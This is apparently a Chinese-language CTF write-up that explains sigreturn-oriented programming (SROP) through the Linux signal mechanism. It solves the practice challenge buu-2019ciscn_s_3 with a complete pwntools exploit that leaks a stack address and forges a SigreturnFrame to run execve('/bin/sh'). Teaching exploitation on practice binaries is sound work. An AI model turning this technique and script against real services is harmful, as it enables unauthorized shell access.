又一个高级ROP类型
前置
看了一上午的资料,简单的总结一下SROP利用方法的原理。
需要清楚的一点是SROP利用方式是基于signal机制的,利用原理就是通过伪造signal机制过程中利用的结构来达到想要的效果。
signal机制
用到的是网上介绍signal机制比较常用的一张图
就就按照我的理解去阐述一下signal机制的过程。
1、内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
2、这个内核态就是将现在状态下的寄存器信息等储存起来
3、然后进入到Signal Handler进行处理,这里的处理跟SROP的利用无关所以不进行具体的学习
4、处理完之后,再根据储存的结构进行寄存器等数据的恢复
srop的思路就是通过修改存储的寄存器的内容,将进程恢复成想要的状态来执行想要的内容
而这个结构叫做Signal Frame存在于可写的方位内。对于这个结构来说,pwntools集成了这个自动化生成的模块。
攻击方法
在攻击的时候肯定不能是触发完整的signal机制,一般是通过sigreturn 系统调用的gadget来触发恢复状态。32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15。
pwntools中Signal Frame构造的方法如下
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
其实这个攻击方法只有这么多,剩下的需要结合题目来理解
题目
buu-2019ciscn_s_3
有一个栈溢出,两个函数都是通过系统调用实现的,所以基本上没有啥可以利用的函数。这里使用SROP进行攻击。看到函数里面有一个叫gadget的函数双击跟进
发现这个函数是为了给我们提供控制rax的gadget,这个是为了完成sigreturn系统调用给出的,当然程序中也会有syscall的部分。
在第一次read的时候,写入的地方+0x20的地方是有一个栈地址的
后边还有一个write可以输出0x30大小的内容,所以就是可以泄露出这个栈地址,在之后构造binsh地址提供的遍历。
然后在第二次read的时候触发signal机制
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./rop')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def debug():
gdb.attach(p)
pause()
pl = b'a'*0x10 + p64(0x04004ED)
#debug()
p.sendline(pl)
r(0x20)
stack = uu64(r(6)) - 0x128
leak('stack',stack)
syscall = 0x0400517
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack
frame.rip = syscall
frame.rsi = 0
frame.rdx = 0
pl = b"/bin/sh\x00"*2 + p64(0x04004DA) + p64(syscall) + bytes(frame)
p.sendline(pl)
p.interactive()